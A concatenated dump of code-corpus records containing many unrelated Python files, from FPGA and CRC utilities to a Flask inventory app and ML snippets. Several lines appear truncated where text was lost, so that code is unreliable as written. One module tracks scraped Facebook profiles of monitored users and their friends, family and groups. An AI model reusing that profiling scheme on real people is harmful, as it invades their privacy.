\"UNKNOWN_reporter_{}({})\".format(block.name.replace(':','_'), ', '.join(map(convert_reporters, block.args) ))\n\ndef transpile(in_, out):\n \"Transpiles the .sb2 file found at in_ into a .py which is then written to out\"\n objects = get_stage_and_sprites(get_json(in_))\n py = sprites_to_py(objects, out)\n with open(out, \"w\") as f:\n f.write(py)\n\nif __name__ == '__main__':\n import sys\n transpile(sys.argv[1], sys.argv[2])\n","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":15637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"580777029","text":"from migen.fhdl.std import *\nfrom migen.bank.description import AutoCSR, CSRStorage, CSRStatus\nfrom migen.flow.actor import Source, Sink\nfrom migen.genlib.fsm import FSM, NextState\n\nfrom ulpi import ULPI_DATA\n\n# Simple RXCMD / Data streamer\n# Uses an absolutely terrible wire-protocol\n# Testing-only, need a real module for releaes\n#\n# Sends packets of the format:\n#\n# AC [rxcmd]\n# AD [data]\n\nclass RXCStream(Module, AutoCSR):\n def __init__(self):\n\n self._cfg = CSRStorage(8)\n self._stat = CSRStatus(8)\n\n self.sink = Sink(ULPI_DATA)\n self.source = Source([(\"d\", 8), (\"last\", 1)])\n\n latch_d = Signal()\n latched = Signal(8)\n self.sync += If(latch_d, latched.eq(self.sink.payload.d))\n\n self.submodules.fsm = FSM()\n self.fsm.act(\"IDLE\",\n self.sink.ack.eq(1),\n If(self.sink.stb & self._cfg.storage[0],\n latch_d.eq(1),\n If(self.sink.payload.rxcmd, NextState(\"RXCMD\")\n ).Else(NextState(\"UDATA\"))))\n\n self.fsm.act(\"RXCMD\",\n self.source.payload.d.eq(0xAC),\n self.source.stb.eq(1),\n If(self.source.ack,\n NextState(\"SENDB\"))\n )\n self.fsm.act(\"UDATA\",\n self.source.payload.d.eq(0xAD),\n self.source.stb.eq(1),\n If(self.source.ack,\n NextState(\"SENDB\"))\n )\n\n self.fsm.act(\"SENDB\",\n self.source.payload.d.eq(latched),\n self.source.payload.last.eq(1),\n self.source.stb.eq(1),\n If(self.source.ack,\n NextState(\"IDLE\")))\n\n","sub_path":"software/fpga/ov3/rxcstream.py","file_name":"rxcstream.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"125701009","text":"CRC_POLYNOMIAL = 0xEDB88320\r\n################ CRC ###################\r\n\r\ndef CRC32oneByte(nextByte, CRC):\r\n\tfor i in range(8):\r\n\t\tif (CRC & 0x80000000):\r\n\t\t\tCRC = CRC << 1\r\n\t\t\t# check whether the next byte has one or zero which is going to be shifted to CRC\r\n\t\t\tif (nextByte & 0x80):\r\n\t\t\t\t # set last bit of the value \r\n\t\t\t\tCRC |= 0x01\r\n\t\t\telse:\r\n\t\t\t\tCRC &= 0xFFFFFFFE\r\n\t\t\tCRC ^= CRC_POLYNOMIAL\r\n\t\telse:\r\n\t\t\tCRC = CRC << 1\r\n\t\t\t# check whether the next byte has one or zero which is going to be shifted to CRC\r\n\t\t\tif (nextByte & 0x80):\r\n\t\t\t\t # set last bit of the value \r\n\t\t\t\tCRC |= 0x01\r\n\t\t\telse:\r\n\t\t\t\tCRC &= 0xFFFFFFFE\r\n\t\tnextByte = nextByte << 1\r\n\treturn CRC\r\n\r\ndef calcFileCRC(file):\r\n\tcrc = 0\r\n\twith open(file, 'r') as f:\r\n\t\tfor line in f:\r\n\t\t\tdatabytes = int(line[1:3],16)\r\n\t\t\tdatatype = line[7:9]\r\n\t\t\tif datatype == '01':\r\n\t\t\t\tbreak\r\n\t\t\thexdat = [line[i:i+2] for i in range(9,min(9+databytes*2,len(line)-1),2)]\r\n\t\t\tprint(hexdat)\r\n\t\t\tfor dat in hexdat:\r\n\t\t\t\tcrc = CRC32oneByte(int(dat,16), crc)\r\n\t\tfor i in range(4):\r\n\t\t\tcrc = CRC32oneByte(0,crc)\r\n\treturn crc\r\n\r\nfile = 'correctOne.eep'\r\nprint(hex(calcFileCRC(file)))\r\n","sub_path":"isd/hgs1000_generate_eeprom_flash_CRC_files/calcFileCRC.py","file_name":"calcFileCRC.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"408754178","text":"\n\nfrom xai.brain.wordbase.nouns._industry import _INDUSTRY\n\n#calss header\nclass _INDUSTRIES(_INDUSTRY, ):\n\tdef __init__(self,): \n\t\t_INDUSTRY.__init__(self)\n\t\tself.name = \"INDUSTRIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"industry\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_industries.py","file_name":"_industries.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"418707206","text":"# coding=utf-8\nfrom ._common import *\n\nbp_insumos = Blueprint('insumos', __name__, url_prefix='/insumos')\n\n@bp_insumos.route(\"/ingresarinsumo\", methods=['GET', 'POST'])\n@login_required\ndef menu_ingresarinsumo():\n if request.method == \"GET\":\n db = get_db()\n insus = db.query(Insumo).order_by(Insumo.nombre).all()\n\n r = make_response(render_template(\n 'menu/insumos/ingresarinsumo.html',\n insus=insus\n ))\n return r\n else: # request.method == \"POST\":\n print('post form:', request.form)\n\n try: checkparams(request.form, ('insumo', 'cantidad'))\n except Exception as e: return str(e), 400\n\n db = get_db()\n\n insus = request.form.getlist('insumo')\n cants = request.form.getlist('cantidad')\n dtnow = datetime.datetime.now()\n for i, insuid in enumerate(insus):\n if i 0).order_by(Insumo.nombre).all()\n\n r = make_response(render_template(\n 'menu/insumos/rolloplaabierto.html',\n plas=plas\n ))\n return r\n else: # request.method == \"POST\":\n print('post form:', request.form)\n\n try:\n checkparams(request.form, ('rollopla', 'cantidad'))\n except Exception as e:\n return str(e), 400\n\n db = get_db()\n\n rollos = request.form.getlist('rollopla')\n cants = request.form.getlist('cantidad')\n dtnow = datetime.datetime.now()\n for i, rolloid in enumerate(rollos):\n if i 0, ~Insumo.nombre.ilike(\"pla %\")).order_by(Insumo.nombre).all()\n\n r = make_response(render_template(\n 'menu/insumos/insumoabierto.html',\n insuscons=insuscons\n ))\n return r\n else: # request.method == \"POST\":\n print('post form:', request.form)\n\n try:\n checkparams(request.form, ('insumo_consumible', 'cantidad'))\n except Exception as e:\n return str(e), 400\n\n db = get_db()\n\n insuscons = request.form.getlist('insumo_consumible')\n cants = request.form.getlist('cantidad')\n dtnow = datetime.datetime.now()\n for i, insuconsid in enumerate(insuscons):\n if i 1:\n\t\t\terror = True\n\t\tif type(list(dated_d.keys())[0]) != datetime.date:\n\t\t\terror = True\n\t\tif dated_d() != None and type(dated_d()) != list:\n\t\t\terror = True\n\t\tif type(dated_d()) == list:\n\t\t\tfor v in dated_d():\n\t\t\t\tif type(v) != data_type:\n\t\t\t\t\terror = True\n\telse:\n\t\tfor k, v in dated_d.items():\n\t\t\tif type(k) != datetime.date:\n\t\t\t\terror = True\n\t\t\tif v!= None and type(v) != data_type:\n\t\t\t\terror = True\n\n\treturn error\n\n# checks instance of facebook_database for errors\n# may take a few minutes to execute\ndef has_errors(fb):\n\t# for user attributes of type dated_dict,\n\t# record the intended data type of stored values, except\n\t# when dated_dict has ._hist == False, we know the stored value will be a list,\n\t# so here we record the intended data types of the objects in the list\n\tutype = {\n\t\t'altname' : str,\n\t\t'basic' : dict,\n\t\t'checkins' : None,\n\t\t'cities' : list,\n\t\t'contact' : dict,\n\t\t'details' : list,\n\t\t'edu' : list,\n\t\t'enabled' : bool,\n\t\t'events' : None,\n\t\t'family': manage_data.facebook_user,\n\t\t'family_details' : dict,\n\t\t'followers' : None,\n\t\t'following' : None,\n\t\t'friends' : manage_data.facebook_user,\n\t\t'groups' : manage_data.facebook_group,\n\t\t'intro' : str,\n\t\t'likes' : None,\n\t\t'milestones' : list,\n\t\t'name' : str,\n\t\t'possfam' : manage_data.facebook_user,\n\t\t'profile_pic' : str,\n\t\t'quotes' : str,\n\t\t'reviews' : None,\n\t\t'romantic' : list,\n\t\t'username' : str,\n\t\t'work' : list\n\t\t}\n\n\t# these will count cross-references from both ends\n\tcfriends = 0\n\tcrfriends = 0\n\tcfamily = 0\n\tcrfamily = 0\n\tcposs = 0\n\tcrposs = 0\n\tcgmember = 0\n\tcrgmember = 0\n\tcgroupm = 0\n\tcrgroupm = 0\n\n\t# this will store brief descriptive data of errors encountered\n\tuser_errors = set()\n\n\t# cycle over all users and check each for errors\n\tfor u in fb.users.values():\n\t\tif type(u.monitor) != bool:\n\t\t\tuser_errors.add('monitor')\n\n\t\tif type(u.id) != str or u.id.isdigit() == False:\n\t\t\tuser_errors.add('id')\n\t\tif fb.users[u.id] != u:\n\t\t\tuser_errors.add('id')\n\n\t\t# check that the common attributes exist\n\t\tif 'name' not in dir(u):\n\t\t\tuser_errors.add('name')\n\t\tif 'username' not in dir(u):\n\t\t\tuser_errors.add('username')\n\t\tif 'rev_friends' not in dir(u):\n\t\t\tuser_errors.add('rev_friends')\n\t\tif 'rev_family' not in dir(u):\n\t\t\tuser_errors.add('rev_family')\n\t\tif 'rev_possfam' not in dir(u):\n\t\t\tuser_errors.add('rev_possfam')\n\t\tif 'rev_groups' not in dir(u):\n\t\t\tuser_errors.add('rev_groups')\n\n\t\t# check data-types and cross references for rev_* attributes\n\t\tfor v in u.rev_friends:\n\t\t\tif type(v) != manage_data.facebook_user:\n\t\t\t\tuser_errors.add('rev_friends')\n\t\t\tif u not in v.friends():\n\t\t\t\tuser_errors.add('friend crossref')\n\t\tfor v in u.rev_family:\n\t\t\tif type(v) != manage_data.facebook_user:\n\t\t\t\tuser_errors.add('rev_family')\n\t\t\tif u not in v.family():\n\t\t\t\tuser_errors.add('family crossref')\n\t\tfor v in u.rev_possfam:\n\t\t\tif type(v) != manage_data.facebook_user:\n\t\t\t\tuser_errors.add('rev_possfam')\n\t\t\tif u not in v.possfam():\n\t\t\t\tuser_errors.add('family crossref')\n\t\tfor g in u.rev_groups:\n\t\t\tif type(g) != manage_data.facebook_group:\n\t\t\t\tuser_errors.add('rev_groups')\n\t\t\tif u not in g.members():\n\t\t\t\tuser_errors.add('group crossref')\n\n\t\t# check data types for all attributes of type dated_dict\n\t\tfor item, data_type in utype.items():\n\t\t\tif item in dir(u):\n\t\t\t\tdated_d = u.__dict__[item]\n\t\t\t\tif dated_dict_has_type_errors(dated_d, data_type):\n\t\t\t\t\tuser_errors.add(item)\n\n\t\t# if monitored, check that all attributes exist\n\t\t# also check cross-references for friends, family, possfam, and groups\n\t\tif u.monitor:\n\t\t\tfor item in utype.keys():\n\t\t\t\tif item not in dir(u):\n\t\t\t\t\tuser_errors.add(item)\n\t\t\tfor v in u.friends():\n\t\t\t\tif u not in v.rev_friends:\n\t\t\t\t\tuser_errors.add('friends crossref')\n\t\t\tfor v in u.family():\n\t\t\t\tif u not in v.rev_family:\n\t\t\t\t\tuser_errors.add('family crossref')\n\t\t\tfor v in u.possfam():\n\t\t\t\tif u not in v.rev_possfam:\n\t\t\t\t\tuser_errors.add('possfam crossref')\n\t\t\tfor g in u.groups():\n\t\t\t\tif u not in g.rev_members:\n\t\t\t\t\tuser_errors.add('group crossref')\n\t\t\t# update cross-ref counts\n\t\t\tcfriends += len(u.friends())\n\t\t\tcfamily += len(u.family())\n\t\t\tcposs += len(u.possfam())\n\t\t\tcgmember += len(u.groups())\n\n\t\t# update reverse cross-ref counts\n\t\tcrfriends += len(u.rev_friends)\n\t\tcrfamily += len(u.rev_family)\n\t\tcrposs += len(u.rev_possfam)\n\t\tcrgroupm += len(u.rev_groups)\n\n\t# record the intended data type of stored values, similar to utype above\n\tgtype = {\n\t\t'url' : str,\n\t\t'name' : str,\n\t\t'size' : int,\n\t\t'about' : str,\n\t\t'admins' : manage_data.facebook_user,\n\t\t'members' : manage_data.facebook_user\n\t\t}\n\n\t# this will store brief descriptive data of errors encountered\n\tgroup_errors = set()\n\n\tfor g in fb.groups.values():\n\t\tif type(g.monitor) != bool:\n\t\t\tgroup_errors.add('monitor')\n\n\t\tif type(g.id) != str or g.id.isdigit() == False:\n\t\t\tgroup_errors.add('id')\n\t\tif fb.groups[g.id] != g:\n\t\t\tgroup_errors.add('id')\n\n\t\t# check that the common attributes exist\n\t\tif 'name' not in dir(g):\n\t\t\tgroup_errors.add('name')\n\t\tif 'url' not in dir(g):\n\t\t\tgroup_errors.add('url')\n\t\tif 'size' not in dir(g):\n\t\t\tgroup_errors.add('size')\n\t\tif 'rev_members' not in dir(g):\n\t\t\tgroup_errors.add('rev_members')\n\n\t\t# check data types and cross-references for rev_members\n\t\tfor u in g.rev_members:\n\t\t\tif type(u) != manage_data.facebook_user:\n\t\t\t\tgroup_errors.add('rev_members')\n\t\t\tif g not in u.groups():\n\t\t\t\tgroup_erros.add('member crossref')\n\n\t\t# check data types for all attributes of type dated_dict\n\t\tfor item, data_type in gtype.items():\n\t\t\tif item in dir(u):\n\t\t\t\tdated_d = g.__dict__[item]\n\t\t\t\tif dated_dict_has_type_errors(dated_d, data_type):\n\t\t\t\t\tgroup_erros.add(item)\n\n\t\t# if monitored, check that all attributes are present\n\t\t# also check member cross-references\n\t\tif g.monitor:\n\t\t\tfor item in gtype.keys():\n\t\t\t\tif item not in dir(g):\n\t\t\t\t\tgroup_errors.add(item)\n\t\t\tfor u in g.members():\n\t\t\t\tif g not in u.rev_groups:\n\t\t\t\t\tgroup_erros.add('member crossref')\n\t\t\t# update cross-ref count\n\t\t\tcgroupm += len(g.members())\n\n\t\t# update reverse cross-ref count\n\t\tcrgmember += len(g.rev_members)\n\n\t# compare cross-reference counts\n\tif cfriends != crfriends:\n\t\tuser_errors.add('friend counts')\n\tif cfamily != crfamily:\n\t\tuser_errors.add('family counts')\n\tif cposs != crposs:\n\t\tuser_errors.add('possfam counts')\n\tif cgmember != crgmember:\n\t\tuser_errors.add('group member count')\n\tif cgroupm != crgroupm:\n\t\tgroup_errors.add('group member count')\n\n\tif user_errors == set() and group_errors == set():\n\t\treturn False\n\telse:\n\t\terrors = {}\n\t\terrors['users'] = user_errors\n\t\terrors['groups'] = group_errors\n\t\tprint(errors)\n\t\treturn True\n\n# when no cities could be extracted, data was previously saved as list ['No places to show']\n# this changes past saved data, changing ['No places to show'] to []\ndef correct_cities_info(fb):\n\tfor u in fb.users.values():\n\t\tif u.monitor:\n\t\t\tfor k, v in u.cities.items():\n\t\t\t\tif v == ['No places to show']:\n\t\t\t\t\tu.cities[k] = []\n\n# changes lists that previously contained id numbers to now contain pointers to class instances\n# also separates the user.family attribute\n# family now lists family members on fb (as user instances)\n# new attribute family_details lists all family (on and off fb) and lists details such as relation when available\ndef change_ids_to_pointers(fb):\n\tfor u in fb.users.values():\n\t\tu.rev_friends = [fb.users[pid] for pid in u.rev_friends]\n\t\tu.rev_family = [fb.users[pid] for pid in u.rev_family]\n\t\tu.rev_possfam = [fb.users[pid] for pid in u.rev_possfam]\n\t\tu.rev_groups = [fb.groups[gid] for gid in u.rev_groups]\n\n\t\tif u.monitor:\n\t\t\tu.family_details = manage_data.dated_dict(full_history=False)\n\t\t\tu.family_details.pop(u.family_details.keydate())\n\t\t\tu.family_details._date = u.family._date\n\t\t\tu.family_details[u.family.keydate()] = u.family()\n\n\t\t\tif u.friends() != None:\n\t\t\t\tu.friends[u.friends.keydate()] = [fb.users[pid] for pid in u.friends()]\n\t\t\tif u.possfam() != None:\n\t\t\t\tu.possfam[u.possfam.keydate()] = [fb.users[pid] for pid in u.possfam()]\n\t\t\tif u.family() != None:\n\t\t\t\tu.family[u.family.keydate()] = [fb.users[person['id']] for person in u.family() if 'id' in person]\n\t\t\tif u.groups() != None:\n\t\t\t\tu.groups[u.groups.keydate()] = [fb.groups[gid] for gid in u.groups()]\n\n\tfor g in fb.groups.values():\n\t\tg.rev_members = [fb.users[pid] for pid in g.rev_members]\n\n\t\tif g.monitor:\n\t\t\tif g.members() != None:\n\t\t\t\tg.members[g.members.keydate()] = [fb.users[pid] for pid in g.members()]\n\ndef create_profile_pic_attributes(fb):\n\tfor u in fb.users.values():\n\t\tif u.monitor:\n\t\t\tu.profile_pic = manage_data.dated_dict()\n\n# reformats data that has no assigned version (the oldest data)\ndef no_version(fb):\n\tcorrect_cities_info(fb)\n\tchange_ids_to_pointers(fb)\n\tfb.version = 1\n\ndef from_version_1(fb):\n\tcreate_profile_pic_attributes(fb)\n\tfb.version = \"1.1\"\n\n# this method is auto called by facebook_database.__setstate__ during unpickling of data\n# reformats old versions of data to make them up-to-date\ndef reformat(fb, version):\n\tif version == None:\n\t\tno_version(fb)\n\tif version == 1:\n\t\tfrom_version_1(fb)\n","sub_path":"error_check.py","file_name":"error_check.py","file_ext":"py","file_size_in_byte":9353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"51120820","text":"N = int(input())\nA = [0]\nA += [int(input()) for _ in range(N)]\n\np = A[1]\ncount = 1\nwhile True:\n if count == N+1:\n print('-1')\n break\n if p == 2:\n print(count)\n break\n p = A[p]\n count += 1","sub_path":"ABC065/trained.py","file_name":"trained.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"463229333","text":"def matching_bracket(start, end):\n if start == \"(\" and end == \")\":\n return True\n if start == \"{\" and end == \"}\":\n return True\n if start == \"[\" and end == \"]\":\n return True\n return False\n\n\ndef is_valid(exp):\n lst = []\n for i in exp:\n if i in \"{[(\":\n lst.append(i)\n if i in \"}])\":\n if len(lst) == 0:\n return False\n popped_item = lst.pop()\n if not matching_bracket(popped_item, i):\n return False\n\n if len(lst) == 0:\n return True\n return False\n\n\nprint(is_valid(\"([{}{}])\"))\n","sub_path":"StackandQueue/Parenthesis_check.py","file_name":"Parenthesis_check.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"137816020","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import tree\n\ndef catToInt(df):\n for i in range(4):\n column = df[i]\n vals = list(set(column))\n for i, string in enumerate(column):\n column[i] = vals.index(string)\n\n# import data\npath = os.getcwd() + \"/iris_data.csv\"\nprint(path)\n\nbalance_data = pd.read_csv(path, sep= ',', header= None)\n#catToInt(balance_data)\n# create testing and training data sets\nx = balance_data.values[:, 0:3]\ny = balance_data.values[:, 4]\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.33, random_state = 100)\n\n# DecisionTreeClassifier with criterion gini index\")\nclf_gini = DecisionTreeClassifier(criterion = \"gini\", random_state = 100, max_depth=3, min_samples_leaf=5)\nclf_gini.fit(x_train, y_train)\nprint(clf_gini)\nprint()\n\n# DecisionTreeClassifier with criterion information gain\")\nclf_entropy = DecisionTreeClassifier(criterion = \"entropy\", random_state = 100, max_depth=3, min_samples_leaf=5)\nclf_entropy.fit(x_train, y_train)\nprint(clf_entropy)\nprint()\n\n# Prediction\nprint(\"Prediction for Decision Tree classifier with criterion as gini index\")\ny_pred = clf_gini.predict(x_test)\nprint(y_pred)\nprint()\n\nprint(\"Prediction for Decision Tree classifier with criterion as information gain\")\ny_pred_en = clf_entropy.predict(x_test)\nprint(y_pred_en)\nprint()\n\nprint(\"Accuracy for Decision Tree classifier with criterion as gini index:\\n\",\n accuracy_score(y_test,y_pred)*100)\nprint(\"Accuracy for Decision Tree classifier with criterion as information gain:\\n\",\n accuracy_score(y_test,y_pred_en)*100)\n","sub_path":"Decision Tree (Lab 2)/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"274647962","text":"#coding=gbk\r\n#coding=utf-8\r\n#-*- coding: UTF-8 -*- \r\n\r\nimport numpy as np\r\nimport sklearn.feature_selection as fs\r\nimport Util.GeneralUtil as gu\r\n \r\ndef entropy(c, total):\r\n p = c / total\r\n p = p[np.nonzero(p)]\r\n return -np.sum(p * np.log2(p))\r\n \r\ndef infoGain(cIn, cOut, entAll, total, nIn, nOut):\r\n ent = entAll\r\n if nIn > 0:\r\n ent -= nIn / total * entropy(cIn, nIn)\r\n if nOut > 0:\r\n ent -= nOut / total * entropy(cOut, nOut) \r\n return ent\r\n\r\ndef infoGain_singleSplit(vals, labels, retMajorClasses = False):\r\n \r\n #takes in np.array\r\n \r\n if len(np.unique(vals)) == 1: #no distinguishing power at all\r\n if retMajorClasses:\r\n return (-1, -1, -1)\r\n return (-1, -1)\r\n \r\n total = len(vals)\r\n order = np.argsort(vals)\r\n sortedVals = vals[order]\r\n sortedLabels = labels[order]\r\n \r\n bestGain = -1\r\n bestPos = -1\r\n \r\n uniqLabels, cOut = np.unique(sortedLabels, return_counts = True)\r\n numCls = len(np.unique(sortedLabels))\r\n \r\n labelMap = {}\r\n for i in range(numCls):\r\n labelMap[uniqLabels[i]] = i\r\n \r\n entAll = entropy(cOut, total)\r\n \r\n lastCVal = sortedVals[0]\r\n nOut = total\r\n nIn = 0\r\n cIn = np.zeros(numCls)\r\n \r\n for split in range(total):\r\n cVal = sortedVals[split]\r\n \r\n if lastCVal != cVal:\r\n gain = infoGain(cIn, cOut, entAll, total, nIn, nOut)\r\n if gain >= bestGain:\r\n bestPos = split\r\n bestGain = gain\r\n lastCVal = cVal\r\n \r\n labelIdx = labelMap[sortedLabels[split]]\r\n cOut[labelIdx] -= 1\r\n nOut -= 1\r\n cIn[labelIdx] += 1\r\n nIn += 1\r\n \r\n splitPt = sortedVals[bestPos]\r\n if retMajorClasses:\r\n labelsOut = sortedLabels[sortedVals >= splitPt]\r\n uniqLabelsOut, cOut = np.unique(labelsOut, return_counts = True)\r\n maxC, maxCIdx = gu.maxWithTies(cOut)\r\n majorClasses = uniqLabelsOut[maxCIdx]\r\n return bestGain, splitPt, majorClasses\r\n return bestGain, splitPt\r\n\r\ndef FStat(vals, labels):\r\n vals = np.array(vals)\r\n if len(np.shape(vals)) == 1:\r\n (f, p) = fs.f_classif(vals.reshape(-1, 1), labels)\r\n return f[0]\r\n else:\r\n (f, p) = fs.f_classif(vals, labels)\r\n return f\r\n \r\ndef FStat_2(vals, labels, numCls):\r\n 'Must be relabeled to 0 ~ numCls - 1'\r\n \r\n vals = np.array(vals)\r\n num = len(vals)\r\n s = np.sum(vals)\r\n s2 = np.sum(vals ** 2)\r\n minuend = s * s / num\r\n ss_t = s2 - minuend\r\n ss_g = - minuend\r\n for label in range(numCls):\r\n inds = np.where(labels == label)[0]\r\n curNum = len(inds)\r\n ss_g += np.sum(vals[inds]) ** 2 / curNum\r\n ss_w = ss_t - ss_g\r\n if ss_w == 0:\r\n return 0\r\n \r\n f = ss_g * (num - numCls) / (ss_w * (numCls - 1))\r\n return f\r\n \r\n \r\ndef chi2(vals, labels):\r\n vals = np.array(vals)\r\n if len(np.shape(vals)) == 1:\r\n (chi, p) = fs.chi2(vals.reshape(-1, 1), labels)\r\n return chi[0]\r\n else:\r\n (chi, p) = fs.chi2(vals, labels)\r\n return chi\r\n\r\n","sub_path":"Util/EvaluationUtil.py","file_name":"EvaluationUtil.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"208002564","text":"import sqlalchemy\n\nfrom python_files.database.factory import DatabaseFactory\n\n\nclass DatabaseSession:\n \"\"\" Context manager for connecting to the database \"\"\"\n\n def __enter__(self):\n self.session = sqlalchemy.orm.scoped_session(DatabaseFactory.session_factory)\n\n return self.session\n\n def __exit__(self, *args):\n self.session.commit()\n self.session.flush()\n self.session.close()\n","sub_path":"python_files/database/context_manager.py","file_name":"context_manager.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"253107220","text":"# %matplotlib qt\nfrom ifs_triangular_representation import IfsTriangInteractive\nfrom ifs_bar_representation import IfsBar\nfrom editable_rectangle import EditableRectangle\n\nfrom universal_set import UniversalSet\nfrom intuitionistic_fuzzy_set import IFS\nimport matplotlib.pyplot as plt\n\nimport os\n\nfrom ifs_holder_basic import IfsHolderBasic\n\nbase_path = '/home/evgeniy/Documents/IFS-Simulator/ifs-lattice/ifsholder/'\nbase_path = os.getcwd()\nfile_name = 'ifs_holder.csv'\nifs_basic = IfsHolderBasic(os.path.join(base_path,'ifsholder', file_name),\n None)\n \nifs_basic.df_ifs.head\n\n\nuniverse = UniversalSet(set(range(50)))\n\nfig = plt.figure()\nplt.subplots_adjust(hspace=0.1, wspace=0.1)\n\n# ifs01 = IFS.random(universe, 1, randseed=1)\n\n# indices, mus, nus, pis = ifs01.elements_split()\nmus = ifs_basic.get_mus\nnus = ifs_basic.get_nus\n\n\naxes2 = plt.subplot2grid((1,2), (0,1), rowspan=1, colspan=1)\naxes2.yaxis.tick_right()\naxes2.yaxis.set_ticks_position('both')\naxes2.set_aspect('auto', 'datalim')\nprop2 = IfsBar('labelBar', EditableRectangle, musnus=(mus, nus), axes=axes2)\n# prop2 = IfsTriang(axes2, (mus, nus), radius=.01)\nprop2.connect()\n\naxes1 = plt.subplot2grid((1,2), (0,0), rowspan=1, colspan=1)\n\naxes1.set_aspect('equal', 'datalim')\naxes1.set_xlim([0,1])\nprop1 = IfsTriangInteractive('labelBar2', EditableRectangle, musnus=(mus, nus), axes=axes1, radius=.01)\nprop1.connect()\n\nplt.show()\n\n\n\n","sub_path":"test_checkbox.py","file_name":"test_checkbox.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"128351301","text":"import numpy as np\nimport sys\nimport pandas\nimport ResMaker.Package.FusionSim as FusionSim\nimport subprocess\nimport math\n\n\n\n#fusion acc. config\nF_PEs = 64\nADDERS = 16\n#Fusion CNN configs\nF_BLOCKS = 2\nf_in_ch = []\nf_midd_ch = []\nf_out_ch = []\nf_pixels = []\nf_stride = []\nprune_factors = []\n\n\n\n#Adjusting prediction simulations for 2-bit predictions\ndef adjust_pred(file, IN_CHANNELS, MIDD_CHANNELS, qtz=[4]*F_BLOCKS, pred1_qtz=False, pred2_qtz=False, decomp=True, block=1, q_blocks=10):\n global ADDERS\n conv = not decomp\n GLB_ACCESS_ENERGY = 18.8\n DRAM_ACCESS_ENERGY = 128.0\n DRAM_WIDTH = 16\n GLB_WIDTH = 8\n ADD_ENERGY = 0.000000043\n MAC_ENERGY = 0.00000022\n PRED_EFF = 7/8\n PRED_FMAP_BITRATIO = qtz[block]/16\n\n with open(file) as f:\n txt = f.readlines()\n txt = [x.strip() for x in txt]\n\n #energy values\n ind = txt.index('Summary Stats')\n raw_e = float(txt[ind+4].split()[1])\n total_MACs = float(txt[ind+7].split()[2])\n\n ind_DRAM_begin = txt.index('Level 6')\n ind_DRAM_end = txt.index('Networks')\n DRAM_section = txt[ind_DRAM_begin:ind_DRAM_end]\n total_fmaps = int(DRAM_section[DRAM_section.index('Outputs:')+1].split()[3])\n DRAM_ofmaps_e = float(DRAM_section[DRAM_section.index('Outputs:')+12].split()[3])\n DRAM_ifmaps_e = float(DRAM_section[DRAM_section.index('Inputs:')+12].split()[3])\n DRAM_weights_e = float(DRAM_section[DRAM_section.index('Weights:')+12].split()[3])\n\n ind_GLB_begin = txt.index('Level 5')\n GLB_section = txt[ind_GLB_begin:ind_DRAM_begin]\n glb_ofmap_e = float(GLB_section[GLB_section.index('Outputs:')+12].split()[3])\n glb_ifmap_e = float(GLB_section[GLB_section.index('Inputs:')+12].split()[3])\n\n spad_section = txt[txt.index('Level 2'):txt.index('Level 3')]\n spad_weights_e = float(spad_section[spad_section.index('Weights:')+12].split()[3])\n\n ifmap_buffer_section = txt[txt.index('Level 3'):txt.index('Level 4')]\n ifmap_buffer_e = float(ifmap_buffer_section[ifmap_buffer_section.index('Inputs:')+12].split()[3])\n\n\n MAC_section = txt[txt.index('Level 0'):txt.index('Level 1')]\n MAC_e = float(MAC_section[MAC_section.index('STATS')+4].split()[3])\n\n if decomp:\n total_MACs_adjusted = total_MACs/IN_CHANNELS\n else:\n total_MACs_adjusted = total_MACs/9\n total_ADDs = total_MACs\n\n pred_DRAM_energy = total_fmaps*DRAM_ACCESS_ENERGY/DRAM_WIDTH\n\n #Adjusting energy\n adjusted_e = raw_e * 1000000\n adjusted_e += pred_DRAM_energy #energy for writing pred masks to pred GLB\n adjusted_e -= PRED_EFF*DRAM_weights_e #energy for fetching weights from DRAM\n adjusted_e -= PRED_EFF*spad_weights_e #energy for reading weights from SPAD\n adjusted_e -= MAC_e #energy for MACs\n\n if conv:\n #to fix simulation of depthwise layers\n adjusted_e -= (DRAM_ifmaps_e)\n adjusted_e += (DRAM_ifmaps_e) * MIDD_CHANNELS\n\n if pred2_qtz and block= l_cur\n )\n __all__.append(var_name)\n\n__all__ = tuple(__all__)\n\n# Clean up\ntry:\n del l_cur\n del l_nxt\n del var_name\n del i\n del v\nexcept NameError:\n pass\n\ndel LooseVersion\ndel django\n","sub_path":"lib/python3.8/site-packages/django_nine/versions.py","file_name":"versions.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"281369119","text":"import pyperclip\nf = open ('text.txt',encoding=\"utf-8\")\nready_file = open ('ready.txt','w',encoding=\"utf-8\")\na = {}\nfor line in f:\n\tif line == 